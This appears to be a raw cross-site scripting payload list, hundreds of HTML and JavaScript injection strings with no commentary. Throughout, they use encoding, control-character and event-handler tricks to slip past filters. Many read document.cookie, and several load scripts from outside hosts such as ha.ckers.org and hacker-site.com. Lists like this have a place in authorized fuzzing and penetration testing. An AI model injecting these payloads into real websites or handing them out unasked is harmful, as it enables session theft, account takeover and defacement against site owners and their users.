"><h1><IFRAME SRC=# onmouseover="prompt(document.cookie)"></IFRAME>123</h1>
"></iframe><script>prompt(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="prompt(document.cookie)"></IFRAME>123</h1>
"><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="prompt(document.cookie)"></IFRAME>
"><h1><IFRAME SRC="javascript:prompt('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="prompt(document.cookie)"></IFRAME>123</h1>
<iframe src=http://xss.rocks/scriptlet.html <
<IFRAME SRC="javascript:prompt('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="prompt(document.cookie)"></IFRAME>
<iframe  src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<script src="data:text/javascript,prompt(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=prompt(1)
<svg/onload=prompt(1)
<input value=<><iframe/src=javascript:confirm(1)
<script>+-+-1-+-+prompt(1)</script>
<body/onload=&lt;!--&gt;&#10prompt(1)>
<script itworksinallbrowsers>/*<script* */prompt(1)</script
<img src ?itworksonchrome?\/onerror = prompt(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> prompt(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> prompt(1) </script 1=2
<div/onmouseover='prompt(1)'> style="x:">
<--`<img/src=` onerror=prompt(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="prompt(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;prompt(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<body onload body onload="javascript:javascript:prompt(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:prompt(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:prompt(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:prompt(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:prompt(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:prompt(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:prompt(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:prompt(1)"></iframe src>
<svg onload svg onload="javascript:javascript:prompt(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:prompt(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:prompt(1)"></body onblur>
\x3Cscript>javascript:prompt(1)</script>
'"`><script>/* *\x2Fjavascript:prompt(1)// */</script>
<script>javascript:prompt(1)</script\x0D
<script>javascript:prompt(1)</script\x0A
<script>javascript:prompt(1)</script\x0B
<script charset="\x22>javascript:prompt(1)</script>
<a href="javas\x03cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:prompt(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:prompt(1)// */</script>
<script>/* *\x00/javascript:prompt(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:prompt(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:prompt(1);/*';">DEF 
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:prompt(1);/*';">DEF 
<script>if("x\\xE1\x96\x89".length==2) { javascript:prompt(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:prompt(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:prompt(1);}</script>
'`"><\x3Cscript>javascript:prompt(1)</script>
'`"><\x00script>javascript:prompt(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:prompt(1)>
"'`><\x00img src=xxx:x onerror=javascript:prompt(1)>
<script src="data:text/plain\x2Cjavascript:prompt(1)"></script>
<script src="data:\xD4\x8F,javascript:prompt(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:prompt(1)"></script>
<script src="data:\xCB\x8F,javascript:prompt(1)"></script>
<script\x20type="text/javascript">javascript:prompt(1);</script>
<script\x3Etype="text/javascript">javascript:prompt(1);</script>
<script\x0Dtype="text/javascript">javascript:prompt(1);</script>
<script\x09type="text/javascript">javascript:prompt(1);</script>
<script\x0Ctype="text/javascript">javascript:prompt(1);</script>
<script\x2Ftype="text/javascript">javascript:prompt(1);</script>
<script\x0Atype="text/javascript">javascript:prompt(1);</script>
<a href="\xE2\x80\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:prompt(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x22onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Donerror=javascript:prompt(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x09onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Conerror=javascript:prompt(1)>
`"'><img src=xxx:x \x00onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x27onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x20onerror=javascript:prompt(1)>
"`'><script>\x3Bjavascript:prompt(1)</script>
"`'><script>\x0Djavascript:prompt(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x81javascript:prompt(1)</script>
"`'><script>\xE2\x80\x84javascript:prompt(1)</script>
"`'><script>\xE3\x80\x80javascript:prompt(1)</script>
"`'><script>\x09javascript:prompt(1)</script>
"`'><script>\xE2\x80\x89javascript:prompt(1)</script>
"`'><script>\xE2\x80\x85javascript:prompt(1)</script>
"`'><script>\xE2\x80\x88javascript:prompt(1)</script>
"`'><script>\x00javascript:prompt(1)</script>
"`'><script>\xE2\x80\xA8javascript:prompt(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:prompt(1)</script>
"`'><script>\xE1\x9A\x80javascript:prompt(1)</script>
"`'><script>\x0Cjavascript:prompt(1)</script>
"`'><script>\x2Bjavascript:prompt(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:prompt(1)</script>
"`'><script>-javascript:prompt(1)</script>
"`'><script>\x0Ajavascript:prompt(1)</script>
"`'><script>\xE2\x80\xAFjavascript:prompt(1)</script>
"`'><script>\x7Ejavascript:prompt(1)</script>
"`'><script>\xE2\x80\x87javascript:prompt(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:prompt(1)</script>
"`'><script>\xE2\x80\xA9javascript:prompt(1)</script>
"`'><script>\xC2\x85javascript:prompt(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x83javascript:prompt(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:prompt(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x80javascript:prompt(1)</script>
"`'><script>\x21javascript:prompt(1)</script>
"`'><script>\xE2\x80\x82javascript:prompt(1)</script>
"`'><script>\xE2\x80\x86javascript:prompt(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:prompt(1)</script>
"`'><script>\x0Bjavascript:prompt(1)</script>
"`'><script>\x20javascript:prompt(1)</script>
"`'><script>\xC2\xA0javascript:prompt(1)</script>
`"'><img src=xxx:x onerror\x09=javascript:prompt(1)>
<script>javascript:prompt(1)<\x00/script>
<img src=# onerror\x3D"javascript:prompt(1)" >
<input onfocus=javascript:prompt(1) autofocus>
<input onblur=javascript:prompt(1) autofocus><input autofocus>
<form id=test onforminput=javascript:prompt(1)><input></form><button form=test onformchange=javascript:prompt(1)>X
<video><source onerror="javascript:javascript:prompt(1)">
<video onerror="javascript:javascript:prompt(1)"><source>
<form><button formaction="javascript:javascript:prompt(1)">X
<body oninput=javascript:prompt(1)><input autofocus>
<math href="javascript:javascript:prompt(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:prompt(1)">CLICKME</maction> </math>
<frameset onload=javascript:prompt(1)>
<table background="javascript:javascript:prompt(1)">
<!--<img src="--><img src=x onerror=javascript:prompt(1)//">
<embed src="javascript:prompt(1)">
<img src="javascript:prompt(1)">
<image src="javascript:prompt(1)">
<script src="javascript:prompt(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:prompt(1)>x
<? foo="><script>javascript:prompt(1)</script>">
<! foo="><script>javascript:prompt(1)</script>">
</ foo="><script>javascript:prompt(1)</script>">
<? foo="><x foo='?><script>javascript:prompt(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:prompt(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:prompt(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x47src=x onerror="javascript:prompt(1)">
<img \x11src=x onerror="javascript:prompt(1)">
<img \x12src=x onerror="javascript:prompt(1)">
<img\x47src=x onerror="javascript:prompt(1)">
<img\x10src=x onerror="javascript:prompt(1)">
<img\x13src=x onerror="javascript:prompt(1)">
<img\x32src=x onerror="javascript:prompt(1)">
<img\x47src=x onerror="javascript:prompt(1)">
<img\x11src=x onerror="javascript:prompt(1)">
<img \x47src=x onerror="javascript:prompt(1)">
<img \x34src=x onerror="javascript:prompt(1)">
<img \x39src=x onerror="javascript:prompt(1)">
<img \x00src=x onerror="javascript:prompt(1)">
<img src\x09=x onerror="javascript:prompt(1)">
<img src\x10=x onerror="javascript:prompt(1)">
<img src\x13=x onerror="javascript:prompt(1)">
<img src\x32=x onerror="javascript:prompt(1)">
<img src\x12=x onerror="javascript:prompt(1)">
<img src\x11=x onerror="javascript:prompt(1)">
<img src\x00=x onerror="javascript:prompt(1)">
<img src\x47=x onerror="javascript:prompt(1)">
<img src=x\x09onerror="javascript:prompt(1)">
<img src=x\x10onerror="javascript:prompt(1)">
<img src=x\x11onerror="javascript:prompt(1)">
<img src=x\x12onerror="javascript:prompt(1)">
<img src=x\x13onerror="javascript:prompt(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"prompt(1)">
<img src=x onerror=\x09"javascript:prompt(1)">
<img src=x onerror=\x10"javascript:prompt(1)">
<img src=x onerror=\x11"javascript:prompt(1)">
<img src=x onerror=\x12"javascript:prompt(1)">
<img src=x onerror=\x32"javascript:prompt(1)">
<img src=x onerror=\x00"javascript:prompt(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:prompt(1)>XXX</a>
<img src="x` `<script>javascript:prompt(1)</script>"` `>
<img src onerror /" '"= alt=javascript:prompt(1)//">
<title onpropertychange=javascript:prompt(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:prompt(1)></a>">
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:prompt(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:prompt(1);">
<IMG DYNSRC="javascript:javascript:prompt(1)">
<IMG LOWSRC="javascript:javascript:prompt(1)">
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:prompt(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:prompt(1)></frameset>
<object onerror=javascript:javascript:prompt(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:prompt(1);">]]</C><X></xml>
<IMG SRC=&{javascript:prompt(1);};>
<a href="jav&#65ascript:javascript:prompt(1)">test1</a>
<a href="jav&#97ascript:javascript:prompt(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:prompt(1)&amp;gt;>">
';prompt(String.fromCharCode(88,83,83))//';prompt(String.fromCharCode(88,83,83))//";
prompt(String.fromCharCode(88,83,83))//";prompt(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:prompt('XSS');">
<IMG SRC=javascript:prompt('XSS')>
<IMG SRC=JaVaScRiPt:prompt('XSS')>
<IMG SRC=javascript:prompt("XSS")>
<IMG SRC=`javascript:prompt("RSnake says, 'XSS'")`>
<a onmouseover="prompt(document.cookie)">xxs link</a>
<a onmouseover=prompt(document.cookie)>xxs link</a>
<IMG """><SCRIPT>prompt("XSS")</SCRIPT>">
<IMG SRC=javascript:prompt(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="prompt('xxs')">
<IMG SRC= onmouseover="prompt('xxs')">
<IMG onmouseover="prompt('xxs')">
<IMG SRC="jav&#x09;ascript:prompt('XSS');">
<IMG SRC="jav&#x0A;ascript:prompt('XSS');">
<IMG SRC="jav&#x0D;ascript:prompt('XSS');">
<IMG SRC=" &#14;  javascript:prompt('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=prompt("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>prompt("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:prompt('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";prompt('XSS');//
</TITLE><SCRIPT>prompt("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:prompt('XSS');">
"><script>prompt("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>prompt("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>prompt("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
<script>prompt(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>prompt(1337)</script>"><script>prompt("XSS by \nxss</h1></marquee>
'"></title><script>prompt(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:prompt('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
"><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
\'><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
'); prompt('xss'); var x='
\\'); prompt(\'xss\');var x=\'
//--></SCRIPT><SCRIPT>prompt(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>prompt(561177485777)%3B</ScRiPt>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> prompt(“XSS”); </SCRIPT>
<BODY ONLOAD=prompt("XSS")>
<BODY BACKGROUND="javascript:prompt('XSS')">
<IMG SRC="javascript:prompt('XSS');">
<IMG DYNSRC="javascript:prompt('XSS')">
<IMG LOWSRC="javascript:prompt('XSS')">
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<INPUT TYPE="IMAGE" SRC="javascript:prompt('XSS');">
<LINK REL="stylesheet" HREF="javascript:prompt('XSS');">
<TABLE BACKGROUND="javascript:prompt('XSS')">
<TD BACKGROUND="javascript:prompt('XSS')">
<DIV STYLE="background-image: url(javascript:prompt('XSS'))">
<DIV STYLE="width: expression(prompt('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script =">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
\";document.vulnerable=true;;//
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<img src="blah"onmouseover="document.vulnerable=true;">
<img src="blah>" onmouseover="document.vulnerable=true;">
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
 ;alert(String.fromCharCode(88,83,83))// ;alert(String.fromCharCode(88,83,83))// ;alert(String.fromCharCode(88,83,83))// ;alert(String.fromCharCode(88,83,83))// ></SCRIPT> > ><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG    ><SCRIPT>alert( XSS )</SCRIPT> >
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC= jav ascript:alert( XSS ); >
<IMG SRC= jav&#x09;ascript:alert( XSS ); >
<<SCRIPT>alert( XSS );//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
 ><s %2b cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<BODY ONLOAD=alert( XSS )>
<INPUT TYPE= IMAGE  SRC= javascript:alert( XSS ); >
<IMG SRC= javascript:alert( XSS ) 
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:confirm(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:confirm(123)">crosssitespt
<frameset onload=confirm(123)>
<!--<img src="--><img src=x onerror=confirm(123)//">
<style><img src="</style><img src=x onerror=confirm(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:confirm(1)">
<? foo="><script>confirm(1)</script>">
<! foo="><script>confirm(1)</script>">
</ foo="><script>confirm(1)</script>">
<script>({0:#0=confirm/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){confirm(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('confirm(1)')()</script>
<script src="#">{confirm(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'confirm(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>confirm(1)</script></svg>
<svg onload="javascript:confirm(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:confirm(1)"></iframe>
+ADw-script+AD4-confirm(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-confirm(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-confirm(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-confirm%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253econfirm(document.cookie)%253c/script%253e
'><s'%2b'cript>confirm(document.cookie)</script>
'><ScRiPt>confirm(document.cookie)</script>
'><<script>confirm(document.cookie);//<</script>
foo<script>confirm(document.cookie)</script>
<scr<script>ipt>confirm(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
'; confirm(document.cookie); var foo='
foo\'; confirm(document.cookie);//';
</script><script >confirm(document.cookie)</script>
<img src=asdf onerror=confirm(document.cookie)>
<BODY ONLOAD=confirm('XSS')>
<script>confirm(1)</script>
"><script>confirm(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=confirm(1)>
<audio src=1 onerror=confirm(1)>
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></a>
<style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></abbr>
<style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></acronym>
<style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></address>
<style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></applet>
<style>@keyframes slidein {}</style><area style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></area>
